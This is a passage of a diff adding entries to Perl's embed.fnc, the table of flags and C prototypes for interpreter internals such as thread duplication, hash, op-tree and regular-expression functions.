+Am	|CV*	|newATTRSUB	|I32 floor|NULLOK OP *o|NULLOK OP *proto|NULLOK OP *attrs|NULLOK OP *block
+pX	|CV*	|newATTRSUB_x	|I32 floor|NULLOK OP *o|NULLOK OP *proto \
+				 |NULLOK OP *attrs|NULLOK OP *block \
+				 |bool o_is_gv
+Ap	|CV *	|newMYSUB	|I32 floor|NN OP *o|NULLOK OP *proto \
+				|NULLOK OP *attrs|NULLOK OP *block
+p	|CV*	|newSTUB	|NN GV *gv|bool fake
+: Used in perly.y
+p	|OP *	|my_attrs	|NN OP *o|NULLOK OP *attrs
+#if defined(USE_ITHREADS)
+ApR	|PERL_CONTEXT*|cx_dup	|NULLOK PERL_CONTEXT* cx|I32 ix|I32 max|NN CLONE_PARAMS* param
+ApR	|PERL_SI*|si_dup	|NULLOK PERL_SI* si|NN CLONE_PARAMS* param
+Apa	|ANY*	|ss_dup		|NN PerlInterpreter* proto_perl|NN CLONE_PARAMS* param
+ApR	|void*	|any_dup	|NULLOK void* v|NN const PerlInterpreter* proto_perl
+ApR	|HE*	|he_dup		|NULLOK const HE* e|bool shared|NN CLONE_PARAMS* param
+ApR	|HEK*	|hek_dup	|NULLOK HEK* e|NN CLONE_PARAMS* param
+Ap	|void	|re_dup_guts	|NN const REGEXP *sstr|NN REGEXP *dstr \
+				|NN CLONE_PARAMS* param
+Ap	|PerlIO*|fp_dup		|NULLOK PerlIO *const fp|const char type|NN CLONE_PARAMS *const param
+ApR	|DIR*	|dirp_dup	|NULLOK DIR *const dp|NN CLONE_PARAMS *const param
+ApR	|GP*	|gp_dup		|NULLOK GP *const gp|NN CLONE_PARAMS *const param
+ApR	|MAGIC*	|mg_dup		|NULLOK MAGIC *mg|NN CLONE_PARAMS *const param
+#if defined(PERL_IN_SV_C)
+s	|SV **	|sv_dup_inc_multiple|NN SV *const *source|NN SV **dest \
+				|SSize_t items|NN CLONE_PARAMS *const param
+sR	|SV*	|sv_dup_common	|NN const SV *const sstr \
+				|NN CLONE_PARAMS *const param
+#endif
+ApR	|SV*	|sv_dup		|NULLOK const SV *const sstr|NN CLONE_PARAMS *const param
+ApR	|SV*	|sv_dup_inc	|NULLOK const SV *const sstr \
+				|NN CLONE_PARAMS *const param
+Ap	|void	|rvpv_dup	|NN SV *const dstr|NN const SV *const sstr|NN CLONE_PARAMS *const param
+Ap	|yy_parser*|parser_dup	|NULLOK const yy_parser *const proto|NN CLONE_PARAMS *const param
+#endif
+Apa	|PTR_TBL_t*|ptr_table_new
+ApR	|void*	|ptr_table_fetch|NN PTR_TBL_t *const tbl|NULLOK const void *const sv
+Ap	|void	|ptr_table_store|NN PTR_TBL_t *const tbl|NULLOK const void *const oldsv \
+				|NN void *const newsv
+Ap	|void	|ptr_table_split|NN PTR_TBL_t *const tbl
+ApD	|void	|ptr_table_clear|NULLOK PTR_TBL_t *const tbl
+Ap	|void	|ptr_table_free|NULLOK PTR_TBL_t *const tbl
+#if defined(HAVE_INTERP_INTERN)
+Ap	|void	|sys_intern_clear
+Ap	|void	|sys_intern_init
+#  if defined(USE_ITHREADS)
+Ap	|void	|sys_intern_dup	|NN struct interp_intern* src|NN struct interp_intern* dst
+#  endif
+#endif
+
+AmopP	|const XOP *	|custom_op_xop	|NN const OP *o
+ApR	|const char *	|custom_op_name	|NN const OP *o
+ApR	|const char *	|custom_op_desc	|NN const OP *o
+pRX	|XOPRETANY	|custom_op_get_field	|NN const OP *o|const xop_flags_enum field
+Aop	|void	|custom_op_register	|NN Perl_ppaddr_t ppaddr \
+			|NN const XOP *xop
+
+Adp	|void	|sv_nosharing	|NULLOK SV *sv
+Adpbm	|void	|sv_nolocking	|NULLOK SV *sv
+Adp	|bool	|sv_destroyable	|NULLOK SV *sv
+#ifdef NO_MATHOMS
+Adpbm	|void	|sv_nounlocking	|NULLOK SV *sv
+#else
+Adpb	|void	|sv_nounlocking	|NULLOK SV *sv
+#endif
+Adp	|int	|nothreadhook
+p	|void	|init_constants
+
+#if defined(PERL_IN_DOOP_C)
+sR	|I32	|do_trans_simple	|NN SV * const sv
+sR	|I32	|do_trans_count		|NN SV * const sv
+sR	|I32	|do_trans_complex	|NN SV * const sv
+sR	|I32	|do_trans_simple_utf8	|NN SV * const sv
+sR	|I32	|do_trans_count_utf8	|NN SV * const sv
+sR	|I32	|do_trans_complex_utf8	|NN SV * const sv
+#endif
+
+#if defined(PERL_IN_GV_C)
+s	|void	|gv_init_svtype	|NN GV *gv|const svtype sv_type
+s	|void	|gv_magicalize_isa	|NN GV *gv
+s  |bool|parse_gv_stash_name|NN HV **stash|NN GV **gv \
+                     |NN const char **name|NN STRLEN *len \
+                     |NN const char *nambeg|STRLEN full_len \
+                     |const U32 is_utf8|const I32 add
+s  |bool|find_default_stash|NN HV **stash|NN const char *name \
+                     |STRLEN len|const U32 is_utf8|const I32 add \
+                     |const svtype sv_type
+s  |bool|gv_magicalize|NN GV *gv|NN HV *stash|NN const char *name \
+                     |STRLEN len|bool addmg \
+                     |const svtype sv_type
+s  |void|maybe_multimagic_gv|NN GV *gv|NN const char *name|const svtype sv_type
+s  |bool|gv_is_in_main|NN const char *name|STRLEN len \
+                      |const U32 is_utf8
+s	|HV*	|require_tie_mod|NN GV *gv|NN const char *varpv|NN SV* namesv \
+				|NN const char *methpv|const U32 flags
+#endif
+
+#if defined(PERL_IN_HV_C) || defined(PERL_IN_SV_C)
+po	|SV*	|hfree_next_entry	|NN HV *hv|NN STRLEN *indexp
+#endif
+
+#if defined(PERL_IN_HV_C)
+s	|void	|hsplit		|NN HV *hv|STRLEN const oldsize|STRLEN newsize
+s	|void	|hv_free_entries	|NN HV *hv
+s	|SV*	|hv_free_ent_ret|NN HV *hv|NN HE *entry
+sa	|HE*	|new_he
+sanR	|HEK*	|save_hek_flags	|NN const char *str|I32 len|U32 hash|int flags
+sn	|void	|hv_magic_check	|NN HV *hv|NN bool *needs_copy|NN bool *needs_store
+s	|void	|unshare_hek_or_pvn|NULLOK const HEK* hek|NULLOK const char* str|I32 len|U32 hash
+sR	|HEK*	|share_hek_flags|NN const char *str|I32 len|U32 hash|int flags
+rs	|void	|hv_notallowed	|int flags|NN const char *key|I32 klen|NN const char *msg
+in	|U32|ptr_hash|PTRV u
+s	|struct xpvhv_aux*|hv_auxinit|NN HV *hv
+sn	|struct xpvhv_aux*|hv_auxinit_internal|NN struct xpvhv_aux *iter
+sM	|SV*	|hv_delete_common|NULLOK HV *hv|NULLOK SV *keysv \
+		|NULLOK const char *key|STRLEN klen|int k_flags|I32 d_flags \
+		|U32 hash
+sM	|void	|clear_placeholders	|NN HV *hv|U32 items
+#endif
+
+#if defined(PERL_IN_MG_C)
+s	|void	|save_magic_flags|I32 mgs_ix|NN SV *sv|U32 flags
+-s	|int	|magic_methpack	|NN SV *sv|NN const MAGIC *mg|NN SV *meth
+s	|SV*	|magic_methcall1|NN SV *sv|NN const MAGIC *mg \
+				|NN SV *meth|U32 flags \
+				|int n|NULLOK SV *val
+s	|void	|restore_magic	|NULLOK const void *p
+s	|void	|unwind_handler_stack|NULLOK const void *p
+s	|void	|fixup_errno_string|NN SV* sv
+
+#endif
+
+#if defined(PERL_IN_OP_C)
+sRn	|bool	|is_handle_constructor|NN const OP *o|I32 numargs
+sR	|I32	|assignment_type|NULLOK const OP *o
+s	|void	|forget_pmop	|NN PMOP *const o
+s	|void	|find_and_forget_pmops	|NN OP *o
+s	|void	|cop_free	|NN COP *cop
+s	|OP*	|modkids	|NULLOK OP *o|I32 type
+s	|OP*	|scalarboolean	|NN OP *o
+sR	|OP*	|search_const	|NN OP *o
+sR	|OP*	|new_logop	|I32 type|I32 flags|NN OP **firstp|NN OP **otherp
+s	|void	|simplify_sort	|NN OP *o
+sRn	|bool	|scalar_mod_type|NULLOK const OP *o|I32 type
+s	|OP *	|my_kid		|NULLOK OP *o|NULLOK OP *attrs|NN OP **imopsp
+s	|OP *	|dup_attrlist	|NN OP *o
+s	|void	|apply_attrs	|NN HV *stash|NN SV *target|NULLOK OP *attrs
+s	|void	|apply_attrs_my	|NN HV *stash|NN OP *target|NULLOK OP *attrs|NN OP **imopsp
+s	|void	|bad_type_pv	|I32 n|NN const char *t|NN const OP *o|NN const OP *kid
+s	|void	|bad_type_gv	|I32 n|NN GV *gv|NN const OP *kid|NN const char *t
+s	|void	|no_bareword_allowed|NN OP *o
+sR	|OP*	|no_fh_allowed|NN OP *o
+sR	|OP*	|too_few_arguments_pv|NN OP *o|NN const char* name|U32 flags
+s	|OP*	|too_many_arguments_pv|NN OP *o|NN const char* name|U32 flags
+s	|bool	|looks_like_bool|NN const OP* o
+s	|OP*	|newGIVWHENOP	|NULLOK OP* cond|NN OP *block \
+				|I32 enter_opcode|I32 leave_opcode \
+				|PADOFFSET entertarg
+s	|OP*	|ref_array_or_hash|NULLOK OP* cond
+s	|bool	|process_special_blocks	|I32 floor \
+					|NN const char *const fullname\
+					|NN GV *const gv|NN CV *const cv
+s	|void	|clear_special_blocks	|NN const char *const fullname\
+					|NN GV *const gv|NN CV *const cv
+#endif
+Xpa	|void*	|Slab_Alloc	|size_t sz
+Xp	|void	|Slab_Free	|NN void *op
+#if defined(PERL_DEBUG_READONLY_OPS)
+#    if defined(PERL_CORE)
+px	|void	|Slab_to_ro	|NN OPSLAB *slab
+px	|void	|Slab_to_rw	|NN OPSLAB *const slab
+#    endif
+: Used in OpREFCNT_inc() in sv.c
+poxM	|OP *	|op_refcnt_inc	|NULLOK OP *o
+: FIXME - can be static.
+poxM	|PADOFFSET	|op_refcnt_dec	|NN OP *o
+#endif
+
+#if defined(PERL_IN_PERL_C)
+s	|void	|find_beginning	|NN SV* linestr_sv|NN PerlIO *rsfp
+s	|void	|forbid_setid	|const char flag|const bool suidscript
+s	|void	|incpush	|NN const char *const dir|STRLEN len \
+				|U32 flags
+s	|SV*	|mayberelocate	|NN const char *const dir|STRLEN len \
+				|U32 flags
+s	|void	|incpush_use_sep|NN const char *p|STRLEN len|U32 flags
+s	|void	|init_interp
+s	|void	|init_ids
+s	|void	|init_main_stash
+s	|void	|init_perllib
+s	|void	|init_postdump_symbols|int argc|NN char **argv|NULLOK char **env
+s	|void	|init_predump_symbols
+rs	|void	|my_exit_jump
+s	|void	|nuke_stacks
+s	|PerlIO *|open_script	|NN const char *scriptname|bool dosearch \
+				|NN bool *suidscript
+sr	|void	|usage
+#ifndef SETUID_SCRIPTS_ARE_SECURE_NOW
+so	|void	|validate_suid	|NN PerlIO *rsfp
+#endif
+sr	|void	|minus_v
+
+s	|void*	|parse_body	|NULLOK char **env|XSINIT_t xsinit
+rs	|void	|run_body	|I32 oldscope
+#  ifndef PERL_IS_MINIPERL
+s	|SV *	|incpush_if_exists|NN AV *const av|NN SV *dir|NN SV *const stem
+#  endif
+#endif
+
+#if defined(PERL_IN_PP_C)
+s	|size_t	|do_chomp	|NN SV *retval|NN SV *sv|bool chomping
+s	|OP*	|do_delete_local
+sR	|SV*	|refto		|NN SV* sv
+#endif
+#if defined(PERL_IN_PP_C) || defined(PERL_IN_PP_HOT_C)
+: Used in pp_hot.c
+pRxo	|GV*	|softref2xv	|NN SV *const sv|NN const char *const what \
+				|const svtype type|NN SV ***spp
+#endif
+
+#if defined(PERL_IN_PP_PACK_C)
+s	|I32	|unpack_rec	|NN struct tempsym* symptr|NN const char *s \
+				|NN const char *strbeg|NN const char *strend|NULLOK const char **new_s
+s	|SV **	|pack_rec	|NN SV *cat|NN struct tempsym* symptr|NN SV **beglist|NN SV **endlist
+s	|SV*	|mul128		|NN SV *sv|U8 m
+s	|I32	|measure_struct	|NN struct tempsym* symptr
+s	|bool	|next_symbol	|NN struct tempsym* symptr
+sR	|SV*	|is_an_int	|NN const char *s|STRLEN l
+s	|int	|div128		|NN SV *pnum|NN bool *done
+s	|const char *|group_end	|NN const char *patptr|NN const char *patend \
+				|char ender
+sR	|const char *|get_num	|NN const char *patptr|NN I32 *lenptr
+ns	|bool	|need_utf8	|NN const char *pat|NN const char *patend
+ns	|char	|first_symbol	|NN const char *pat|NN const char *patend
+sR	|char *	|sv_exp_grow	|NN SV *sv|STRLEN needed
+snR	|char *	|my_bytes_to_utf8|NN const U8 *start|STRLEN len|NN char *dest \
+	      			|const bool needs_swap
+#endif
+
+#if defined(PERL_IN_PP_CTL_C)
+sR	|OP*	|docatch	|NULLOK OP *o
+sR	|OP*	|dofindlabel	|NN OP *o|NN const char *label|STRLEN len \
+                                |U32 flags|NN OP **opstack|NN OP **oplimit
+s	|MAGIC *|doparseform	|NN SV *sv
+snR	|bool	|num_overflow	|NV value|I32 fldsize|I32 frcsize
+sR	|I32	|dopoptoeval	|I32 startingblock
+sR	|I32	|dopoptogivenfor|I32 startingblock
+sR	|I32	|dopoptolabel	|NN const char *label|STRLEN len|U32 flags
+sR	|I32	|dopoptoloop	|I32 startingblock
+sR	|I32	|dopoptosub_at	|NN const PERL_CONTEXT* cxstk|I32 startingblock
+sR	|I32	|dopoptowhen	|I32 startingblock
+s	|void	|save_lines	|NULLOK AV *array|NN SV *sv
+s	|bool	|doeval_compile	|U8 gimme \
+				|NULLOK CV* outside|U32 seq|NULLOK HV* hh
+sR	|PerlIO *|check_type_and_open|NN SV *name
+#ifndef PERL_DISABLE_PMC
+sR	|PerlIO *|doopen_pm	|NN SV *name
+#endif
+iRn	|bool	|path_is_searchable|NN const char *name
+sR	|I32	|run_user_filter|int idx|NN SV *buf_sv|int maxlen
+sR	|PMOP*	|make_matcher	|NN REGEXP* re
+sR	|bool	|matcher_matches_sv|NN PMOP* matcher|NN SV* sv
+s	|void	|destroy_matcher|NN PMOP* matcher
+s	|OP*	|do_smartmatch	|NULLOK HV* seen_this \
+				|NULLOK HV* seen_other|const bool copied
+#endif
+
+#if defined(PERL_IN_PP_HOT_C)
+s	|void	|do_oddball	|NN SV **oddkey|NN SV **firstkey
+i	|HV*	|opmethod_stash	|NN SV* meth
+#endif
+
+#if defined(PERL_IN_PP_SORT_C)
+s	|I32	|sv_ncmp	|NN SV *const a|NN SV *const b
+s	|I32	|sv_i_ncmp	|NN SV *const a|NN SV *const b
+s	|I32	|amagic_ncmp	|NN SV *const a|NN SV *const b
+s	|I32	|amagic_i_ncmp	|NN SV *const a|NN SV *const b
+s	|I32	|amagic_cmp	|NN SV *const str1|NN SV *const str2
+#  ifdef USE_LOCALE_COLLATE
+s	|I32	|amagic_cmp_locale|NN SV *const str1|NN SV *const str2
+#  endif
+s	|I32	|sortcv		|NN SV *const a|NN SV *const b
+s	|I32	|sortcv_xsub	|NN SV *const a|NN SV *const b
+s	|I32	|sortcv_stacked	|NN SV *const a|NN SV *const b
+s	|void	|qsortsvu	|NULLOK SV** array|size_t num_elts|NN SVCOMPARE_t compare
+#endif
+
+#if defined(PERL_IN_PP_SYS_C)
+s	|OP*	|doform		|NN CV *cv|NN GV *gv|NULLOK OP *retop
+#  if !defined(HAS_MKDIR) || !defined(HAS_RMDIR)
+sR	|int	|dooneliner	|NN const char *cmd|NN const char *filename
+#  endif
+s	|SV *	|space_join_names_mortal|NN char *const *array
+#endif
+p	|OP *	|tied_method|NN SV *methname|NN SV **sp \
+				|NN SV *const sv|NN const MAGIC *const mg \
+				|const U32 flags|U32 argc|...
+
+#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C)
+Ep	|void	|regprop	|NULLOK const regexp *prog|NN SV* sv|NN const regnode* o|NULLOK const regmatch_info *reginfo \
+				|NULLOK const RExC_state_t *pRExC_state
+Ep	|int	|re_printf	|NN const char *fmt|...
+#endif
+#if defined(PERL_IN_REGCOMP_C)
+Es	|regnode*|reg		|NN RExC_state_t *pRExC_state \
+				|I32 paren|NN I32 *flagp|U32 depth
+Es	|regnode*|regnode_guts	|NN RExC_state_t *pRExC_state              \
+				|const U8 op				   \
+				|const STRLEN extra_len			   \
+				|NN const char* const name
+Es	|regnode*|reganode	|NN RExC_state_t *pRExC_state|U8 op \
+				|U32 arg
+Es	|regnode*|reg2Lanode	|NN RExC_state_t *pRExC_state		   \
+				|const U8 op				   \
+				|const U32 arg1				   \
+				|const I32 arg2
+Es	|regnode*|regatom	|NN RExC_state_t *pRExC_state \
+				|NN I32 *flagp|U32 depth
+Es	|regnode*|regbranch	|NN RExC_state_t *pRExC_state \
+				|NN I32 *flagp|I32 first|U32 depth
+Es	|void	 |set_ANYOF_arg	|NN RExC_state_t* const pRExC_state \
+				|NN regnode* const node                    \
+				|NULLOK SV* const cp_list                  \
+				|NULLOK SV* const runtime_defns            \
+				|NULLOK SV* const only_utf8_locale_list	   \
+				|NULLOK SV* const swash                    \
+				|const bool has_user_defined_property
+Es	|void	|output_or_return_posix_warnings			    \
+				|NN RExC_state_t *pRExC_state		    \
+				|NN AV* posix_warnings			    \
+				|NULLOK AV** return_posix_warnings
+Es	|AV*	 |add_multi_match|NULLOK AV* multi_char_matches		    \
+				|NN SV* multi_string			    \
+				|const STRLEN cp_count
+Es	|regnode*|regclass	|NN RExC_state_t *pRExC_state                 \
+				|NN I32 *flagp|U32 depth|const bool stop_at_1 \
+				|bool allow_multi_fold                        \
+				|const bool silence_non_portable              \
+				|const bool strict                            \
+				|bool optimizable			      \
+				|NULLOK SV** ret_invlist		      \
+				|NULLOK AV** return_posix_warnings
+Es	|void|add_above_Latin1_folds|NN RExC_state_t *pRExC_state|const U8 cp \
+				|NN SV** invlist
+Ei	|regnode*|handle_named_backref|NN RExC_state_t *pRExC_state	    \
+				|NN I32 *flagp				    \
+				|NN char * parse_start			    \
+				|char ch
+EsnP	|unsigned int|regex_set_precedence|const U8 my_operator
+Es	|regnode*|handle_regex_sets|NN RExC_state_t *pRExC_state \
+				|NULLOK SV ** return_invlist            \
+				|NN I32 *flagp|U32 depth                \
+				|NN char * const oregcomp_parse
+Es	|void|parse_lparen_question_flags|NN RExC_state_t *pRExC_state
+Es	|regnode*|reg_node	|NN RExC_state_t *pRExC_state|U8 op
+Es	|UV	|reg_recode	|const U8 value|NN SV **encp
+Es	|regnode*|regpiece	|NN RExC_state_t *pRExC_state \
+				|NN I32 *flagp|U32 depth
+Es	|bool	|grok_bslash_N	|NN RExC_state_t *pRExC_state		    \
+				|NULLOK regnode** nodep			    \
+				|NULLOK UV *code_point_p		    \
+				|NULLOK int* cp_count			    \
+				|NN I32 *flagp				    \
+				|const bool strict			    \
+				|const U32 depth
+Es	|void	|reginsert	|NN RExC_state_t *pRExC_state \
+				|U8 op|NN regnode *opnd|U32 depth
+Es	|void	|regtail	|NN RExC_state_t * pRExC_state		    \
+				|NN const regnode * const p		    \
+				|NN const regnode * const val		    \
+				|const U32 depth
+Es	|SV *	|reg_scan_name	|NN RExC_state_t *pRExC_state \
+				|U32 flags
+Es	|U32	|join_exact	|NN RExC_state_t *pRExC_state \
+				|NN regnode *scan|NN UV *min_subtract  \
+				|NN bool *unfolded_multi_char          \
+				|U32 flags|NULLOK regnode *val|U32 depth
+Ei	|void   |alloc_maybe_populate_EXACT|NN RExC_state_t *pRExC_state \
+				|NN regnode *node|NN I32 *flagp|STRLEN len \
+				|UV code_point|bool downgradable
+Ein	|U8   |compute_EXACTish|NN RExC_state_t *pRExC_state
+Es	|void	|nextchar	|NN RExC_state_t *pRExC_state
+Es	|void	|skip_to_be_ignored_text|NN RExC_state_t *pRExC_state  \
+				|NN char ** p			    \
+				|const bool force_to_xmod
+Ein	|char *	|reg_skipcomment|NN RExC_state_t *pRExC_state|NN char * p
+Es	|void	|scan_commit	|NN const RExC_state_t *pRExC_state \
+				|NN struct scan_data_t *data        \
+				|NN SSize_t *minlenp		    \
+				|int is_inf
+Es	|void	|populate_ANYOF_from_invlist|NN regnode *node|NN SV** invlist_ptr
+Es	|void	|ssc_anything	|NN regnode_ssc *ssc
+EsRn	|int	|ssc_is_anything|NN const regnode_ssc *ssc
+Es	|void	|ssc_init	|NN const RExC_state_t *pRExC_state \
+				|NN regnode_ssc *ssc
+EsRn	|int	|ssc_is_cp_posixl_init|NN const RExC_state_t *pRExC_state \
+				|NN const regnode_ssc *ssc
+Es	|void	|ssc_and	|NN const RExC_state_t *pRExC_state \
+				|NN regnode_ssc *ssc                \
+				|NN const regnode_charclass *and_with
+Es	|void	|ssc_or		|NN const RExC_state_t *pRExC_state \
+				|NN regnode_ssc *ssc \
+				|NN const regnode_charclass *or_with
+Es	|SV*	|get_ANYOF_cp_list_for_ssc                                 \
+				|NN const RExC_state_t *pRExC_state \
+				|NN const regnode_charclass* const node
+Ei	|void	|ssc_intersection|NN regnode_ssc *ssc \
+				|NN SV* const invlist|const bool invert_2nd
+Ei	|void	|ssc_union	|NN regnode_ssc *ssc \
+				|NN SV* const invlist|const bool invert_2nd
+Ei	|void	|ssc_add_range	|NN regnode_ssc *ssc \
+				|UV const start|UV const end
+Ei	|void	|ssc_cp_and	|NN regnode_ssc *ssc \
+				|UV const cp
+Ein	|void	|ssc_clear_locale|NN regnode_ssc *ssc
+Ens	|bool	|is_ssc_worth_it|NN const RExC_state_t * pRExC_state \
+				|NN const regnode_ssc * ssc
+Es	|void	|ssc_finalize	|NN RExC_state_t *pRExC_state \
+				|NN regnode_ssc *ssc
+Es	|SSize_t|study_chunk	|NN RExC_state_t *pRExC_state \
+				|NN regnode **scanp|NN SSize_t *minlenp \
+				|NN SSize_t *deltap|NN regnode *last \
+				|NULLOK struct scan_data_t *data \
+                                |I32 stopparen|U32 recursed_depth \
+				|NULLOK regnode_ssc *and_withp \
+				|U32 flags|U32 depth
+EsRn	|U32	|add_data	|NN RExC_state_t* const pRExC_state \
+				|NN const char* const s|const U32 n
+rs	|void	|re_croak2	|bool utf8|NN const char* pat1|NN const char* pat2|...
+Es	|int	|handle_possible_posix					    \
+				|NN RExC_state_t *pRExC_state		    \
+				|NN const char* const s			    \
+				|NULLOK char ** updated_parse_ptr	    \
+				|NULLOK AV** posix_warnings		    \
+				|const bool check_only
+Es	|I32	|make_trie	|NN RExC_state_t *pRExC_state \
+				|NN regnode *startbranch|NN regnode *first \
+				|NN regnode *last|NN regnode *tail \
+				|U32 word_count|U32 flags|U32 depth
+Es	|regnode *|construct_ahocorasick_from_trie|NN RExC_state_t *pRExC_state \
+                                |NN regnode *source|U32 depth
+EnPs	|const char *|cntrl_to_mnemonic|const U8 c
+EnPs	|int	|edit_distance	|NN const UV *src		    \
+				|NN const UV *tgt		    \
+				|const STRLEN x			    \
+				|const STRLEN y			    \
+				|const SSize_t maxDistance
+#  ifdef DEBUGGING
+Ep	|int	|re_indentf	|NN const char *fmt|U32 depth|...
+Es        |void        |regdump_intflags|NULLOK const char *lead| const U32 flags
+Es	|void	|regdump_extflags|NULLOK const char *lead| const U32 flags
+Es	|const regnode*|dumpuntil|NN const regexp *r|NN const regnode *start \
+				|NN const regnode *node \
+				|NULLOK const regnode *last \
+				|NULLOK const regnode *plast \
+				|NN SV* sv|I32 indent|U32 depth
+Es	|void	|put_code_point	|NN SV* sv|UV c
+Es	|bool	|put_charclass_bitmap_innards|NN SV* sv		    \
+				|NN char* bitmap		    \
+				|NULLOK SV* nonbitmap_invlist	    \
+				|NULLOK SV* only_utf8_locale_invlist\
+				|NULLOK const regnode * const node
+Es	|SV*	|put_charclass_bitmap_innards_common		    \
+				|NN SV* invlist			    \
+				|NULLOK SV* posixes		    \
+				|NULLOK SV* only_utf8		    \
+				|NULLOK SV* not_utf8		    \
+				|NULLOK SV* only_utf8_locale	    \
+				|const bool invert
+Es	|void	|put_charclass_bitmap_innards_invlist		    \
+				|NN SV *sv			    \
+				|NN SV* invlist
+Es	|void	|put_range	|NN SV* sv|UV start|const UV end    \
+				|const bool allow_literals
+Es	|void	|dump_trie	|NN const struct _reg_trie_data *trie\
+				|NULLOK HV* widecharmap|NN AV *revcharmap\
+				|U32 depth
+Es	|void	|dump_trie_interim_list|NN const struct _reg_trie_data *trie\
+				|NULLOK HV* widecharmap|NN AV *revcharmap\
+				|U32 next_alloc|U32 depth
+Es	|void	|dump_trie_interim_table|NN const struct _reg_trie_data *trie\
+				|NULLOK HV* widecharmap|NN AV *revcharmap\
+				|U32 next_alloc|U32 depth
+Es	|U8	|regtail_study	|NN RExC_state_t *pRExC_state \
+				|NN regnode *p|NN const regnode *val|U32 depth
+#  endif
+#endif
+
+#if defined(PERL_IN_REGEXEC_C)
+ERs	|bool	|isFOO_lc	|const U8 classnum|const U8 character
+ERs	|bool	|isFOO_utf8_lc	|const U8 classnum|NN const U8* character
+ERs	|SSize_t|regmatch	|NN regmatch_info *reginfo|NN char *startpos|NN regnode *prog
+ERs	|I32	|regrepeat	|NN regexp *prog|NN char **startposp \
+				|NN const regnode *p \
+				|NN regmatch_info *const reginfo \
+				|I32 max \
+				|int depth
+ERs	|bool	|regtry		|NN regmatch_info *reginfo|NN char **startposp
+ERs	|bool	|reginclass	|NULLOK regexp * const prog  \
+				|NN const regnode * const n  \
+				|NN const U8 * const p       \
+				|NN const U8 * const p_end   \
+				|bool const utf8_target
+Es	|CHECKPOINT|regcppush	|NN const regexp *rex|I32 parenfloor\
+				|U32 maxopenparen
+Es	|void	|regcppop	|NN regexp *rex\
+				|NN U32 *maxopenparen_p
+ERsn	|U8*	|reghop3	|NN U8 *s|SSize_t off|NN const U8 *lim
+ERsn	|U8*	|reghop4	|NN U8 *s|SSize_t off|NN const U8 *llim \
+				|NN const U8 *rlim
+ERsn	|U8*	|reghopmaybe3	|NN U8 *s|SSize_t off|NN const U8 *lim
+ERs	|char*	|find_byclass	|NN regexp * prog|NN const regnode *c \
+				|NN char *s|NN const char *strend \
+				|NULLOK regmatch_info *reginfo
+Es	|void	|to_utf8_substr	|NN regexp * prog
+Es	|bool	|to_byte_substr	|NN regexp * prog
+ERsn	|I32	|reg_check_named_buff_matched	|NN const regexp *rex \
+						|NN const regnode *scan
+EinR	|bool	|isGCB		|const GCB_enum before|const GCB_enum after
+EsR	|bool	|isLB		|LB_enum before				\
+				|LB_enum after				\
+				|NN const U8 * const strbeg		\
+				|NN const U8 * const curpos		\
+				|NN const U8 * const strend		\
+				|const bool utf8_target
+EsR	|LB_enum|advance_one_LB |NN U8 ** curpos				\
+				|NN const U8 * const strend			\
+				|const bool utf8_target
+EsR	|LB_enum|backup_one_LB  |NN const U8 * const strbeg			\
+				|NN U8 ** curpos				\
+				|const bool utf8_target
+EsR	|bool	|isSB		|SB_enum before				\
+				|SB_enum after				\
+				|NN const U8 * const strbeg			\
+				|NN const U8 * const curpos			\
+				|NN const U8 * const strend			\
+				|const bool utf8_target
+EsR	|SB_enum|advance_one_SB |NN U8 ** curpos				\
+				|NN const U8 * const strend			\
+				|const bool utf8_target
+EsR	|SB_enum|backup_one_SB  |NN const U8 * const strbeg			\
+				|NN U8 ** curpos				\
+				|const bool utf8_target
+EsR	|bool	|isWB		|WB_enum previous				\
+				|WB_enum before				\
+				|WB_enum after				\
+				|NN const U8 * const strbeg			\
+				|NN const U8 * const curpos			\
+				|NN const U8 * const strend			\
+				|const bool utf8_target
+EsR	|WB_enum|advance_one_WB |NN U8 ** curpos				\
+				|NN const U8 * const strend			\
+				|const bool utf8_target				\
+				|const bool skip_Extend_Format
+EsR	|WB_enum|backup_one_WB  |NN WB_enum * previous			\
+				|NN const U8 * const strbeg			\
+				|NN U8 ** curpos				\
+				|const bool utf8_target
+#  ifdef DEBUGGING
+Es	|void	|dump_exec_pos	|NN const char *locinput|NN const regnode *scan|NN const char *loc_regeol\
+				|NN const char *loc_bostr|NN const char *loc_reg_starttry|const bool do_utf8|const U32 depth
+Es	|void	|debug_start_match|NN const REGEXP *prog|const bool do_utf8\
+				|NN const char *start|NN const char *end\
+				|NN const char *blurb
+
+Ep	|int	|re_exec_indentf	|NN const char *fmt|U32 depth|...
+#  endif
+#endif
+
+#if defined(PERL_IN_DUMP_C)
+s	|CV*	|deb_curcv	|I32 ix
+s	|void	|debprof	|NN const OP *o
+s	|UV	|sequence_num	|NULLOK const OP *o
+s	|SV*	|pm_description	|NN const PMOP *pm
+#endif
+
+#if defined(PERL_IN_SCOPE_C)
+s	|SV*	|save_scalar_at	|NN SV **sptr|const U32 flags
+#endif
+
+#if defined(PERL_IN_GV_C) || defined(PERL_IN_SV_C) || defined(PERL_IN_PAD_C) || defined(PERL_IN_OP_C)
+: Used in gv.c
+po	|void	|sv_add_backref	|NN SV *const tsv|NN SV *const sv
+#endif
+
+#if defined(PERL_IN_HV_C) || defined(PERL_IN_MG_C) || defined(PERL_IN_SV_C)
+: Used in hv.c and mg.c
+poM	|void	|sv_kill_backrefs	|NN SV *const sv|NULLOK AV *const av
+#endif
+
+#if defined(PERL_IN_SV_C) || defined (PERL_IN_OP_C)
+pR	|SV *	|varname	|NULLOK const GV *const gv|const char gvtype \
+				|PADOFFSET targ|NULLOK const SV *const keyname \
+				|I32 aindex|int subscript_type
+#endif
+
+pX	|void	|sv_del_backref	|NN SV *const tsv|NN SV *const sv
+#if defined(PERL_IN_SV_C)
+nsR	|char *	|uiv_2buf	|NN char *const buf|const IV iv|UV uv|const int is_uv|NN char **const peob
+i	|void	|sv_unglob	|NN SV *const sv|U32 flags
+s	|const char *|sv_display	|NN SV *const sv|NN char *tmpbuf|STRLEN tmpbuf_size
+s	|void	|not_a_number	|NN SV *const sv
+s	|void	|not_incrementable	|NN SV *const sv
+s	|I32	|visit		|NN SVFUNC_t f|const U32 flags|const U32 mask
+#  ifdef DEBUGGING
+s	|void	|del_sv	|NN SV *p
+#  endif
+#  if !defined(NV_PRESERVES_UV)
+#    ifdef DEBUGGING
+s	|int	|sv_2iuv_non_preserve	|NN SV *const sv|I32 numtype
+#    else
+s	|int	|sv_2iuv_non_preserve	|NN SV *const sv
+#    endif
+#  endif
+sR	|I32	|expect_number	|NN char **const pattern
+sn	|STRLEN	|sv_pos_u2b_forwards|NN const U8 *const start \
